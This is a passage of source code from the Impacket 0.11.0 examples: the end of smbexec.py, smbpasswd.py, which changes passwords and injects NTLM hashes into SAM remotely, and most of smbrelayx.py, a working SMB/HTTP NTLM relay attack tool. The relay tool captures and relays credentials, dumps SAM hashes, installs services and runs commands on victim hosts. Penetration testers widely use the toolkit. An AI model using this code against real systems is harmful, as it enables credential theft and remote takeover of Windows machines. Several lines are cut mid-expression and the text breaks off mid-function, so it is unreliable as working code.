action='store', help='Sets encoding used (codec) from the target\'s output (default ' '"%s"). If errors are detected, run chcp.com at the target, ' 'map the result with ' 'https://docs.python.org/3/library/codecs.html#standard-encodings and then execute smbexec.py ' 'again with -codec and the corresponding codec ' % CODEC) parser.add_argument('-shell-type', action='store', default = 'cmd', choices = ['cmd', 'powershell'], help='choose ' 'a command processor for the semi-interactive shell') group = parser.add_argument_group('connection') group.add_argument('-dc-ip', action='store',metavar = "ip address", help='IP Address of the domain controller. ' 'If omitted it will use the domain part (FQDN) specified in the target parameter') group.add_argument('-target-ip', action='store', metavar="ip address", help='IP Address of the target machine. If ' 'ommited it will use whatever was specified as target. This is useful when target is the NetBIOS ' 'name and you cannot resolve it') group.add_argument('-port', choices=['139', '445'], nargs='?', default='445', metavar="destination port", help='Destination port to connect to SMB Server') group.add_argument('-service-name', action='store', metavar="service_name", help='The name of the' 'service used to trigger the payload') group = parser.add_argument_group('authentication') group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH') group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)') group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file ' '(KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ' 'ones specified in the command line') group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication ' '(128 or 256 bits)') group.add_argument('-keytab', action="store", help='Read keys for SPN from keytab file') if len(sys.argv)==1: parser.print_help() sys.exit(1) options = parser.parse_args() # Init the example's logger theme logger.init(options.ts) if options.codec is not None: CODEC = options.codec else: if CODEC is None: CODEC = 'utf-8' if options.debug is True: logging.getLogger().setLevel(logging.DEBUG) # Print the Library's installation path logging.debug(version.getInstallationPath()) else: logging.getLogger().setLevel(logging.INFO) domain, username, password, remoteName = parse_target(options.target) if domain is None: domain = '' if options.keytab is not None: Keytab.loadKeysFromKeytab (options.keytab, username, domain, options) options.k = True if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None: from getpass import getpass password = getpass("Password:") if options.target_ip is None: options.target_ip = remoteName if options.aesKey is not None: options.k = True try: executer = CMDEXEC(username, password, domain, options.hashes, options.aesKey, options.k, options.dc_ip, options.mode, options.share, int(options.port), options.service_name, options.shell_type) executer.run(remoteName, options.target_ip) except Exception as e: if logging.getLogger().level == logging.DEBUG: import traceback traceback.print_exc() logging.critical(str(e)) sys.exit(0) impacket-impacket_0_11_0/examples/smbpasswd.py000077500000000000000000000267521446174712300216300ustar00rootroot00000000000000#!/usr/bin/env python # Impacket - Collection of Python classes for working with network protocols. # # Copyright (C) 2023 Fortra. All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # # Description: # This script is an alternative to smbpasswd tool and intended to be used # for changing passwords remotely over SMB (MSRPC-SAMR). It can perform the # password change when the current password is expired, and supports NTLM # hashes as a new password value instead of a plaintext value. As for the # latter approach the new password is flagged as expired after the change # due to how SamrChangePasswordUser function works. # # Examples: # smbpasswd.py j.doe@192.168.1.11 # smbpasswd.py contoso.local/j.doe@DC1 -hashes :fc525c9683e8fe067095ba2ddc971889 # smbpasswd.py contoso.local/j.doe:'Passw0rd!'@DC1 -newpass 'N3wPassw0rd!' # smbpasswd.py contoso.local/j.doe:'Passw0rd!'@DC1 -newhashes :126502da14a98b58f2c319b81b3a49cb # smbpasswd.py contoso.local/j.doe:'Passw0rd!'@DC1 -newpass 'N3wPassw0rd!' -altuser administrator -altpass 'Adm1nPassw0rd!' # smbpasswd.py contoso.local/j.doe:'Passw0rd!'@DC1 -newhashes :126502da14a98b58f2c319b81b3a49cb -altuser CONTOSO/administrator -altpass 'Adm1nPassw0rd!' -admin # smbpasswd.py SRV01/administrator:'Passw0rd!'@10.10.13.37 -newhashes :126502da14a98b58f2c319b81b3a49cb -altuser CONTOSO/SrvAdm -althash 6fe945ead39a7a6a2091001d98a913ab # # Author: # @snovvcrash # @bransh # @alefburzmali # # References: # https://snovvcrash.github.io/2020/10/31/pretending-to-be-smbpasswd-with-impacket.html # https://www.n00py.io/2021/09/resetting-expired-passwords-remotely/ # https://github.com/samba-team/samba/blob/master/source3/utils/smbpasswd.c # https://github.com/fortra/impacket/pull/381 # https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-samr/acb3204a-da8b-478e-9139-1ea589edb880 # https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-samr/9699d8ca-e1a4-433c-a8c3-d7bebeb01476 # https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-samr/538222f7-1b89-4811-949a-0eac62e38dce # import sys import logging from getpass import getpass from argparse import ArgumentParser from impacket import version from impacket.examples import logger from impacket.examples.utils import parse_target from impacket.dcerpc.v5 import transport, samr class SMBPasswd: def __init__(self, address, domain='', username='', oldPassword='', newPassword='', oldPwdHashLM='', oldPwdHashNT='', newPwdHashLM='', newPwdHashNT=''): self.address = address self.domain = domain self.username = username self.oldPassword = oldPassword self.newPassword = newPassword self.oldPwdHashLM = oldPwdHashLM self.oldPwdHashNT = oldPwdHashNT self.newPwdHashLM = newPwdHashLM self.newPwdHashNT = newPwdHashNT self.dce = None def connect(self, domain='', username='', password='', nthash='', anonymous=False): rpctransport = transport.SMBTransport(self.address, filename=r'\samr') if anonymous: rpctransport.set_credentials(username='', password='', domain='', lmhash='', nthash='', aesKey='') elif username != '': lmhash = '' rpctransport.set_credentials(username, password, domain, lmhash, nthash, aesKey='') else: rpctransport.set_credentials(self.username, self.oldPassword, self.domain, self.oldPwdHashLM, self.oldPwdHashNT, aesKey='') self.dce = rpctransport.get_dce_rpc() self.dce.connect() self.dce.bind(samr.MSRPC_UUID_SAMR) def hSamrUnicodeChangePasswordUser2(self): try: resp = samr.hSamrUnicodeChangePasswordUser2(self.dce, '\x00', self.username, self.oldPassword, self.newPassword, self.oldPwdHashLM, self.oldPwdHashNT) except Exception as e: if 'STATUS_PASSWORD_RESTRICTION' in str(e): logging.critical('Some password update rule has been violated. For example, the password may not meet length criteria.') else: raise e else: if resp['ErrorCode'] == 0: logging.info('Password was changed successfully.') else: logging.error('Non-zero return code, something weird happened.') resp.dump() def hSamrChangePasswordUser(self): try: serverHandle = samr.hSamrConnect(self.dce, self.address + '\x00')['ServerHandle'] domainSID = samr.hSamrLookupDomainInSamServer(self.dce, serverHandle, self.domain)['DomainId'] domainHandle = samr.hSamrOpenDomain(self.dce, serverHandle, domainId=domainSID)['DomainHandle'] userRID = samr.hSamrLookupNamesInDomain(self.dce, domainHandle, (self.username,))['RelativeIds']['Element'][0] userHandle = samr.hSamrOpenUser(self.dce, domainHandle, userId=userRID)['UserHandle'] except Exception as e: if 'STATUS_NO_SUCH_DOMAIN' in str(e): logging.critical('Wrong realm. Try to set the domain name for the target user account explicitly in format DOMAIN/username.') return else: raise e try: resp = samr.hSamrChangePasswordUser(self.dce, userHandle, self.oldPassword, newPassword='', oldPwdHashNT=self.oldPwdHashNT, newPwdHashLM=self.newPwdHashLM, newPwdHashNT=self.newPwdHashNT) except Exception as e: if 'STATUS_PASSWORD_RESTRICTION' in str(e): logging.critical('Some password update rule has been violated. For example, the password history policy may prohibit the use of recent passwords.') else: raise e else: if resp['ErrorCode'] == 0: logging.info('NTLM hashes were changed successfully.') else: logging.error('Non-zero return code, something weird happened.') resp.dump() def hSamrSetInformationUser(self): try: serverHandle = samr.hSamrConnect(self.dce, self.address + '\x00')['ServerHandle'] domainSID = samr.hSamrLookupDomainInSamServer(self.dce, serverHandle, self.domain)['DomainId'] domainHandle = samr.hSamrOpenDomain(self.dce, serverHandle, domainId=domainSID)['DomainHandle'] userRID = samr.hSamrLookupNamesInDomain(self.dce, domainHandle, (self.username,))['RelativeIds']['Element'][0] userHandle = samr.hSamrOpenUser(self.dce, domainHandle, userId=userRID)['UserHandle'] except Exception as e: if 'STATUS_NO_SUCH_DOMAIN' in str(e): logging.critical('Wrong realm. Try to set the domain name for the target user account explicitly in format DOMAIN/username.') return else: raise e try: resp = samr.hSamrSetNTInternal1(self.dce, userHandle, self.newPassword, self.newPwdHashNT) except Exception as e: raise e else: if resp['ErrorCode'] == 0: logging.info('Credentials were injected into SAM successfully.') else: logging.error('Non-zero return code, something weird happened.') resp.dump() def init_logger(options): logger.init(options.ts) if options.debug is True: logging.getLogger().setLevel(logging.DEBUG) logging.debug(version.getInstallationPath()) else: logging.getLogger().setLevel(logging.INFO) def parse_args(): parser = ArgumentParser(description='Change password over SMB.') parser.add_argument('target', action='store', help='[[domain/]username[:password]@]') parser.add_argument('-ts', action='store_true', help='adds timestamp to every logging output') parser.add_argument('-debug', action='store_true', help='turn DEBUG output ON') group = parser.add_mutually_exclusive_group() group.add_argument('-newpass', action='store', default=None, help='new SMB password') group.add_argument('-newhashes', action='store', default=None, metavar='LMHASH:NTHASH', help='new NTLM hashes, format is LMHASH:NTHASH ' '(the user will be asked to change their password at next logon)') group = parser.add_argument_group('authentication') group.add_argument('-hashes', action='store', default=None, metavar='LMHASH:NTHASH', help='NTLM hashes, format is LMHASH:NTHASH') group = parser.add_argument_group('RPC authentication') group.add_argument('-altuser', action='store', default=None, help='alternative username') group.add_argument('-altpass', action='store', default=None, help='alternative password') group.add_argument('-althash', action='store', default=None, help='alternative NT hash') group = parser.add_argument_group('set credentials method') group.add_argument('-admin', action='store_true', help='injects credentials into SAM (requires admin\'s priveleges on a machine, ' 'but can bypass password history policy)') return parser.parse_args() if __name__ == '__main__': print(version.BANNER) print(version.WARNING_BANNER) options = parse_args() init_logger(options) domain, username, oldPassword, address = parse_target(options.target) if domain is None: domain = 'Builtin' if options.hashes is not None: try: oldPwdHashLM, oldPwdHashNT = options.hashes.split(':') except ValueError: logging.critical('Wrong hashes string format. For more information run with --help option.') sys.exit(1) else: oldPwdHashLM = '' oldPwdHashNT = '' if oldPassword == '' and oldPwdHashNT == '' and not options.admin: oldPassword = getpass('Current SMB password: ') if options.newhashes is not None: try: newPwdHashLM, newPwdHashNT = options.newhashes.split(':') except ValueError: logging.critical('Wrong new hashes string format. For more information run with --help option.') sys.exit(1) newPassword = '' else: newPwdHashLM = '' newPwdHashNT = '' if options.newpass is None: newPassword = getpass('New SMB password: ') if newPassword != getpass('Retype new SMB password: '): logging.critical('Passwords do not match, try again.') sys.exit(1) else: newPassword = options.newpass smbpasswd = SMBPasswd(address, domain, username, oldPassword, newPassword, oldPwdHashLM, oldPwdHashNT, newPwdHashLM, newPwdHashNT) if options.altuser is not None: try: altDomain, altUsername = options.altuser.split('/') except ValueError: altDomain = domain altUsername = options.altuser if options.altpass is not None and options.althash is None: altPassword = options.altpass altNTHash = '' elif options.altpass is None and options.althash is not None: altPassword = '' altNTHash = options.althash elif options.altpass is None and options.althash is None: logging.critical('Please, provide either alternative password or NT hash for RPC authentication.') sys.exit(1) else: # if options.altpass is not None and options.althash is not None logging.critical('Argument -altpass not allowed with argument -althash.') sys.exit(1) else: altUsername = '' try: if altUsername == '': smbpasswd.connect() else: logging.debug('Using {}\\{} credentials to connect to RPC.'.format(altDomain, altUsername)) smbpasswd.connect(altDomain, altUsername, altPassword, altNTHash) except Exception as e: if any(msg in str(e) for msg in ['STATUS_PASSWORD_MUST_CHANGE', 'STATUS_PASSWORD_EXPIRED']): if newPassword: logging.warning('Password is expired, trying to bind with a null session.') smbpasswd.connect(anonymous=True) else: logging.critical('Cannot set new NTLM hashes when current password is expired. Provide a plaintext value for the new password.') sys.exit(1) elif 'STATUS_LOGON_FAILURE' in str(e): logging.critical('Authentication failure.') sys.exit(1) else: raise e if options.admin: # Inject credentials into SAM (requires admin's privileges) smbpasswd.hSamrSetInformationUser() else: if newPassword: # If using a plaintext value for the new password smbpasswd.hSamrUnicodeChangePasswordUser2() else: # If using NTLM hashes for the new password smbpasswd.hSamrChangePasswordUser() impacket-impacket_0_11_0/examples/smbrelayx.py000077500000000000000000001631661446174712300216340ustar00rootroot00000000000000#!/usr/bin/env python # Impacket - Collection of Python classes for working with network protocols. # # Copyright (C) 2023 Fortra. All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # # Description: # SMB Relay Module # This module performs the SMB Relay attacks originally discovered # by cDc. It receives a list of targets and for every connection received it # will choose the next target and try to relay the credentials. Also, if # specified, it will first to try authenticate against the client connecting # to us. # # It is implemented by invoking a SMB and HTTP Server, hooking to a few # functions and then using the smbclient portion. It is supposed to be # working on any LM Compatibility level. The only way to stop this attack # is to enforce on the server SPN checks and or signing. # # If the target system is enforcing signing and a machine account was provided, # the module will try to gather the SMB session key through # NETLOGON (CVE-2015-0005). # # If the authentication against the targets succeed, the client authentication # success as well and a valid connection is set against the local smbserver. # It's up to the user to set up the local smbserver functionality. One option # is to set up shares with whatever files you want to the victim thinks it's # connected to a valid SMB server. All that is done through the smb.conf file or # programmatically. # # Author: # Alberto Solino (@agsolino) # from __future__ import division from __future__ import print_function try: import ConfigParser except ImportError: import configparser as ConfigParser import http.server import socketserver import argparse import base64 import logging import os import sys try: from urllib.parse import urlparse except ImportError: from urlparse import urlparse from binascii import unhexlify, hexlify from struct import pack, unpack from threading import Thread from six import PY2 from impacket import version from impacket.dcerpc.v5 import nrpc from impacket.dcerpc.v5 import transport from impacket.dcerpc.v5.ndr import NULL from impacket.dcerpc.v5.rpcrt import DCERPCException from impacket.examples import logger from impacket.examples import serviceinstall from impacket.examples.ntlmrelayx.servers.socksserver import activeConnections, SOCKS from impacket.examples.ntlmrelayx.clients.smbrelayclient import SMBRelayClient from impacket.nt_errors import ERROR_MESSAGES from impacket.nt_errors import STATUS_LOGON_FAILURE, STATUS_SUCCESS, STATUS_ACCESS_DENIED, STATUS_NOT_SUPPORTED, \ STATUS_MORE_PROCESSING_REQUIRED from impacket.ntlm import NTLMAuthChallengeResponse, NTLMAuthNegotiate, NTLMAuthChallenge, AV_PAIRS, \ NTLMSSP_AV_HOSTNAME, generateEncryptedSessionKey from impacket.smb import NewSMBPacket, SMBCommand, SMB, SMBSessionSetupAndX_Data, SMBSessionSetupAndX_Extended_Data, \ SMBSessionSetupAndX_Extended_Response_Parameters, SMBSessionSetupAndX_Extended_Response_Data, \ SMBSessionSetupAndX_Parameters, SMBSessionSetupAndX_Extended_Parameters, TypesMech, \ SMBSessionSetupAndXResponse_Parameters, SMBSessionSetupAndXResponse_Data from impacket.smb3 import SMB3 from impacket.smbconnection import SMBConnection from impacket.smbserver import outputToJohnFormat, writeJohnOutputToFile, SMBSERVER from impacket.spnego import ASN1_AID, SPNEGO_NegTokenResp, SPNEGO_NegTokenInit try: from Cryptodome.Cipher import DES, AES, ARC4 except Exception: logging.critical("Warning: You don't have any crypto installed. You need pycryptodomex") logging.critical("See https://pypi.org/project/pycryptodomex/") # Global Variables # This is the list of hosts that have been attacked already in case -one-shot was chosen ATTACKED_HOSTS = set() CODEC = sys.getdefaultencoding() class doAttack(Thread): def __init__(self, SMBClient, exeFile, command): Thread.__init__(self) if isinstance(SMBClient, SMB) or isinstance(SMBClient, SMB3): self.__SMBConnection = SMBConnection(existingConnection = SMBClient) else: self.__SMBConnection = SMBClient self.__exeFile = exeFile self.__command = command self.__answerTMP = b'' if exeFile is not None: self.installService = serviceinstall.ServiceInstall(SMBClient, exeFile) def __answer(self, data): self.__answerTMP += data def run(self): # Here PUT YOUR CODE! global ATTACKED_HOSTS if self.__exeFile is not None: result = self.installService.install() if result is True: logging.info("Service Installed.. CONNECT!") self.installService.uninstall() else: ATTACKED_HOSTS.remove(self.__SMBConnection.getRemoteHost()) else: from impacket.examples.secretsdump import RemoteOperations, SAMHashes samHashes = None try: # We have to add some flags just in case the original client did not # Why? needed for avoiding INVALID_PARAMETER flags1, flags2 = self.__SMBConnection.getSMBServer().get_flags() flags2 |= SMB.FLAGS2_LONG_NAMES self.__SMBConnection.getSMBServer().set_flags(flags2=flags2) remoteOps = RemoteOperations(self.__SMBConnection, False) remoteOps.enableRegistry() except Exception as e: logging.debug('Exception:', exc_info=True) # Something wen't wrong, most probably we don't have access as admin. aborting logging.error(str(e)) ATTACKED_HOSTS.remove(self.__SMBConnection.getRemoteHost()) return try: if self.__command is not None: remoteOps._RemoteOperations__executeRemote(self.__command) logging.info("Executed specified command on host: %s" % self.__SMBConnection.getRemoteHost()) self.__answerTMP = b'' self.__SMBConnection.getFile('ADMIN$', 'Temp\\__output', self.__answer) logging.debug('Raw answer %r' % self.__answerTMP) try: print(self.__answerTMP.decode(CODEC)) except UnicodeDecodeError: logging.error('Decoding error detected, consider running chcp.com at the target,\nmap the result with ' 'https://docs.python.org/3/library/codecs.html#standard-encodings\nand then execute smbrelayx.py ' 'again with -codec and the corresponding codec') print(self.__answerTMP) self.__SMBConnection.deleteFile('ADMIN$', 'Temp\\__output') else: bootKey = remoteOps.getBootKey() remoteOps._RemoteOperations__serviceDeleted = True samFileName = remoteOps.saveSAM() samHashes = SAMHashes(samFileName, bootKey, isRemote = True) samHashes.dump() logging.info("Done dumping SAM hashes for host: %s" % self.__SMBConnection.getRemoteHost()) except Exception as e: logging.debug('Exception:', exc_info=True) ATTACKED_HOSTS.remove(self.__SMBConnection.getRemoteHost()) logging.error(str(e)) finally: if samHashes is not None: samHashes.finish() if remoteOps is not None: remoteOps.finish() try: ATTACKED_HOSTS.remove(self.__SMBConnection.getRemoteHost()) except Exception as e: logging.error(str(e)) pass class SMBClient(SMB): def __init__(self, remote_name, extended_security = True, sess_port = 445): self._extendedSecurity = extended_security self.domainIp = None self.machineAccount = None self.machineHashes = None SMB.__init__(self,remote_name, remote_name, sess_port = sess_port) def neg_session(self): neg_sess = SMB.neg_session(self, extended_security = self._extendedSecurity) return neg_sess def setUid(self,uid): self._uid = uid def login_standard(self, user, domain, ansiPwd, unicodePwd): smb = NewSMBPacket() smb['Flags1'] = 8 sessionSetup = SMBCommand(SMB.SMB_COM_SESSION_SETUP_ANDX) sessionSetup['Parameters'] = SMBSessionSetupAndX_Parameters() sessionSetup['Data'] = SMBSessionSetupAndX_Data() sessionSetup['Parameters']['MaxBuffer'] = 65535 sessionSetup['Parameters']['MaxMpxCount'] = 2 sessionSetup['Parameters']['VCNumber'] = os.getpid() sessionSetup['Parameters']['SessionKey'] = self._dialects_parameters['SessionKey'] sessionSetup['Parameters']['AnsiPwdLength'] = len(ansiPwd) sessionSetup['Parameters']['UnicodePwdLength'] = len(unicodePwd) sessionSetup['Parameters']['Capabilities'] = SMB.CAP_RAW_MODE sessionSetup['Data']['AnsiPwd'] = ansiPwd sessionSetup['Data']['UnicodePwd'] = unicodePwd sessionSetup['Data']['Account'] = user sessionSetup['Data']['PrimaryDomain'] = domain sessionSetup['Data']['NativeOS'] = 'Unix' sessionSetup['Data']['NativeLanMan'] = 'Samba' smb.addCommand(sessionSetup) self.sendSMB(smb) smb = self.recvSMB() try: smb.isValidAnswer(SMB.SMB_COM_SESSION_SETUP_ANDX) except: logging.error("Error login_standard") return None, STATUS_LOGON_FAILURE else: self._uid = smb['Uid'] return smb, STATUS_SUCCESS def setDomainAccount( self, machineAccount, machineHashes, domainIp): self.machineAccount = machineAccount self.machineHashes = machineHashes self.domainIp = domainIp if self._SignatureRequired is True: if self.domainIp is None: logging.error("Signature is REQUIRED on the other end, attack will not work") else: logging.info("Signature is REQUIRED on the other end, using NETLOGON approach") def netlogonSessionKey(self, challenge, authenticateMessageBlob): # Here we will use netlogon to get the signing session key logging.info("Connecting to %s NETLOGON service" % self.domainIp) respToken2 = SPNEGO_NegTokenResp(authenticateMessageBlob) authenticateMessage = NTLMAuthChallengeResponse() authenticateMessage.fromString(respToken2['ResponseToken'] ) _, machineAccount = self.machineAccount.split('/') domainName = authenticateMessage['domain_name'].decode('utf-16le') try: av_pairs = authenticateMessage['ntlm'][44:] av_pairs = AV_PAIRS(av_pairs) serverName = av_pairs[NTLMSSP_AV_HOSTNAME][1].decode('utf-16le') except: logging.debug("Exception:", exc_info=True) # We're in NTLMv1, not supported return STATUS_ACCESS_DENIED stringBinding = r'ncacn_np:%s[\PIPE\netlogon]' % self.domainIp rpctransport = transport.DCERPCTransportFactory(stringBinding) if len(self.machineHashes) > 0: lmhash, nthash = self.machineHashes.split(':') else: lmhash = '' nthash = '' if hasattr(rpctransport, 'set_credentials'): # This method exists only for selected protocol sequences. rpctransport.set_credentials(machineAccount,'', domainName, lmhash, nthash) dce = rpctransport.get_dce_rpc() dce.connect() dce.bind(nrpc.MSRPC_UUID_NRPC) resp = nrpc.hNetrServerReqChallenge(dce, NULL, serverName+'\x00', '12345678') serverChallenge = resp['ServerChallenge'] if self.machineHashes == '': ntHash = None else: ntHash = unhexlify(self.machineHashes.split(':')[1]) sessionKey = nrpc.ComputeSessionKeyStrongKey('', '12345678', serverChallenge, ntHash) ppp = nrpc.ComputeNetlogonCredential('12345678', sessionKey) nrpc.hNetrServerAuthenticate3(dce, NULL, machineAccount + '\x00', nrpc.NETLOGON_SECURE_CHANNEL_TYPE.WorkstationSecureChannel, serverName + '\x00', ppp, 0x600FFFFF) clientStoredCredential = pack('=0 or message.find('RPC_IN'): return self.do_GET() return http.server.SimpleHTTPRequestHandler.send_error(self,code,message) def do_GET(self): messageType = 0 if PY2: authorizationHeader = self.headers.getheader('Authorization') else: authorizationHeader = self.headers.get('Authorization') if authorizationHeader is None: self.do_AUTHHEAD(message = b'NTLM') pass else: #self.do_AUTHHEAD() typeX = authorizationHeader try: _, blob = typeX.split('NTLM') token = base64.b64decode(blob.strip()) except: self.do_AUTHHEAD() messageType = unpack('> 16 packet['ErrorClass'] = errorCode & 0xff return None, [packet], STATUS_NOT_SUPPORTED else: logging.info("SMBD: Received connection from %s, attacking target %s" % (connData['ClientIP'] ,self.target)) try: if recvPacket['Flags2'] & SMB.FLAGS2_EXTENDED_SECURITY == 0: extSec = False else: if self.mode.upper() == 'REFLECTION': # Force standard security when doing reflection logging.info("Downgrading to standard security") extSec = False recvPacket['Flags2'] += (~SMB.FLAGS2_EXTENDED_SECURITY) else: extSec = True client = SMBClient(self.target, extended_security = extSec) client.setDomainAccount(self.machineAccount, self.machineHashes, self.domainIp) client.set_timeout(60) except Exception as e: logging.error("Connection against target %s FAILED" % self.target) logging.error(str(e)) else: encryptionKey = client.get_encryption_key() smbData[self.target] = {} smbData[self.target]['SMBClient'] = client if encryptionKey is not None: connData['EncryptionKey'] = encryptionKey smbServer.setConnectionData('SMBRelay', smbData) smbServer.setConnectionData(connId, connData) return self.origSmbComNegotiate(connId, smbServer, SMBCommand, recvPacket) ############################################################# def SmbSessionSetupAndX(self, connId, smbServer, smbCommand, recvPacket): connData = smbServer.getConnectionData(connId, checkStatus = False) ############################################################# # SMBRelay smbData = smbServer.getConnectionData('SMBRelay', False) ############################################################# respSMBCommand = SMBCommand(SMB.SMB_COM_SESSION_SETUP_ANDX) global ATTACKED_HOSTS if connData['_dialects_parameters']['Capabilities'] & SMB.CAP_EXTENDED_SECURITY: # Extended security. Here we deal with all SPNEGO stuff respParameters = SMBSessionSetupAndX_Extended_Response_Parameters() respData = SMBSessionSetupAndX_Extended_Response_Data() sessionSetupParameters = SMBSessionSetupAndX_Extended_Parameters(smbCommand['Parameters']) sessionSetupData = SMBSessionSetupAndX_Extended_Data() sessionSetupData['SecurityBlobLength'] = sessionSetupParameters['SecurityBlobLength'] sessionSetupData.fromString(smbCommand['Data']) connData['Capabilities'] = sessionSetupParameters['Capabilities'] if unpack('B',sessionSetupData['SecurityBlob'][0:1])[0] != ASN1_AID: # If there no GSSAPI ID, it must be an AUTH packet blob = SPNEGO_NegTokenResp(sessionSetupData['SecurityBlob']) token = blob['ResponseToken'] else: # NEGOTIATE packet blob = SPNEGO_NegTokenInit(sessionSetupData['SecurityBlob']) token = blob['MechToken'] # Here we only handle NTLMSSP, depending on what stage of the # authentication we are, we act on it messageType = unpack('> 16 packet['ErrorClass'] = errorCode & 0xff return None, [packet], STATUS_NOT_SUPPORTED # It might happen if the target connects back before a previous connection has finished, we might # get to this function w/o having the dict and smbClient entry created, because a # NEGOTIATE_CONNECTION was not needed if (self.target in smbData) is False: smbData[self.target] = {} smbClient = SMBClient(self.target) smbClient.setDomainAccount(self.machineAccount, self.machineHashes, self.domainIp) smbClient.set_timeout(60) smbData[self.target]['SMBClient'] = smbClient smbClient = smbData[self.target]['SMBClient'] clientChallengeMessage = smbClient.sendNegotiate(token) challengeMessage = NTLMAuthChallenge() challengeMessage.fromString(clientChallengeMessage) ############################################################# respToken = SPNEGO_NegTokenResp() # accept-incomplete. We want more data respToken['NegState'] = b'\x01' respToken['SupportedMech'] = TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider'] respToken['ResponseToken'] = challengeMessage.getData() # Setting the packet to STATUS_MORE_PROCESSING errorCode = STATUS_MORE_PROCESSING_REQUIRED # Let's set up an UID for this connection and store it # in the connection's data # Picking a fixed value # TODO: Manage more UIDs for the same session connData['Uid'] = 10 # Let's store it in the connection data connData['CHALLENGE_MESSAGE'] = challengeMessage elif messageType == 0x03: # AUTHENTICATE_MESSAGE, here we deal with authentication ############################################################# # SMBRelay: Ok, so now the have the Auth token, let's send it # back to the target system and hope for the best. smbClient = smbData[self.target]['SMBClient'] authenticateMessage = NTLMAuthChallengeResponse() authenticateMessage.fromString(token) if authenticateMessage['user_name'] != '': clientResponse, errorCode = smbClient.sendAuth(connData['CHALLENGE_MESSAGE']['challenge'], sessionSetupData['SecurityBlob']) else: # Anonymous login, send STATUS_ACCESS_DENIED so we force the client to send his credentials errorCode = STATUS_ACCESS_DENIED if errorCode != STATUS_SUCCESS: # Let's return what the target returned, hope the client connects back again packet = NewSMBPacket() packet['Flags1'] = SMB.FLAGS1_REPLY | SMB.FLAGS1_PATHCASELESS packet['Flags2'] = SMB.FLAGS2_NT_STATUS | SMB.FLAGS2_EXTENDED_SECURITY packet['Command'] = recvPacket['Command'] packet['Pid'] = recvPacket['Pid'] packet['Tid'] = recvPacket['Tid'] packet['Mid'] = recvPacket['Mid'] packet['Uid'] = recvPacket['Uid'] packet['Data'] = b'\x00\x00\x00' packet['ErrorCode'] = errorCode >> 16 packet['ErrorClass'] = errorCode & 0xff # Reset the UID smbClient.setUid(0) logging.error("Authenticating against %s as %s\\%s FAILED" % ( self.target, authenticateMessage['domain_name'].decode('utf-16le'), authenticateMessage['user_name'].decode('utf-16le'))) # del (smbData[self.target]) return None, [packet], errorCode else: # We have a session, create a thread and do whatever we want logging.info("Authenticating against %s as %s\\%s SUCCEED" % ( self.target, authenticateMessage['domain_name'].decode('utf-16le'), authenticateMessage['user_name'].decode('utf-16le'))) ntlm_hash_data = outputToJohnFormat(connData['CHALLENGE_MESSAGE']['challenge'], authenticateMessage['user_name'], authenticateMessage['domain_name'], authenticateMessage['lanman'], authenticateMessage['ntlm']) logging.info(ntlm_hash_data['hash_string']) if self.server.getJTRdumpPath() != '': writeJohnOutputToFile(ntlm_hash_data['hash_string'], ntlm_hash_data['hash_version'], self.server.getJTRdumpPath()) # Target will be attacked, adding to the attacked set # If the attack fails, the doAttack thread will be responsible of removing it from the set ATTACKED_HOSTS.add(self.target) if self.runSocks is True: # Pass all the data to the socksplugins proxy protocolClient = SMBRelayClient(None, urlparse('smb://%s' % self.target)) protocolClient.session = SMBConnection(existingConnection=smbClient) activeConnections.put((self.target, 445, 'SMB', ('%s/%s' % ( authenticateMessage['domain_name'].decode('utf-16le'), authenticateMessage['user_name'].decode('utf-16le'))).upper(), protocolClient, connData)) logging.info("Adding %s(445) to active SOCKS connection. Enjoy" % self.target) del (smbData[self.target]) else: del (smbData[self.target]) clientThread = doAttack(smbClient,self.exeFile,self.command) clientThread.start() # Now continue with the server ############################################################# # Return status code of the authentication process. errorCode = self.returnStatus logging.info("Sending status code %s after authentication to %s" % ( ERROR_MESSAGES[self.returnStatus][0], connData['ClientIP'])) respToken = SPNEGO_NegTokenResp() # accept-completed respToken['NegState'] = b'\x00' # Status SUCCESS # Let's store it in the connection data connData['AUTHENTICATE_MESSAGE'] = authenticateMessage else: raise Exception("Unknown NTLMSSP MessageType %d" % messageType) respParameters['SecurityBlobLength'] = len(respToken) respData['SecurityBlobLength'] = respParameters['SecurityBlobLength'] respData['SecurityBlob'] = respToken.getData() else: # Process Standard Security respParameters = SMBSessionSetupAndXResponse_Parameters() respData = SMBSessionSetupAndXResponse_Data() sessionSetupParameters = SMBSessionSetupAndX_Parameters(smbCommand['Parameters']) sessionSetupData = SMBSessionSetupAndX_Data() sessionSetupData['AnsiPwdLength'] = sessionSetupParameters['AnsiPwdLength'] sessionSetupData['UnicodePwdLength'] = sessionSetupParameters['UnicodePwdLength'] sessionSetupData.fromString(smbCommand['Data']) connData['Capabilities'] = sessionSetupParameters['Capabilities'] ############################################################# # SMBRelay smbClient = smbData[self.target]['SMBClient'] if sessionSetupData['Account'] != '': clientResponse, errorCode = smbClient.login_standard(sessionSetupData['Account'], sessionSetupData['PrimaryDomain'], sessionSetupData['AnsiPwd'], sessionSetupData['UnicodePwd']) else: # Anonymous login, send STATUS_ACCESS_DENIED so we force the client to send his credentials errorCode = STATUS_ACCESS_DENIED if errorCode != STATUS_SUCCESS: # Let's return what the target returned, hope the client connects back again packet = NewSMBPacket() packet['Flags1'] = SMB.FLAGS1_REPLY | SMB.FLAGS1_PATHCASELESS packet['Flags2'] = SMB.FLAGS2_NT_STATUS | SMB.FLAGS2_EXTENDED_SECURITY packet['Command'] = recvPacket['Command'] packet['Pid'] = recvPacket['Pid'] packet['Tid'] = recvPacket['Tid'] packet['Mid'] = recvPacket['Mid'] packet['Uid'] = recvPacket['Uid'] packet['Data'] = '\x00\x00\x00' packet['ErrorCode'] = errorCode >> 16 packet['ErrorClass'] = errorCode & 0xff # Reset the UID smbClient.setUid(0) return None, [packet], errorCode # Now continue with the server else: # We have a session, create a 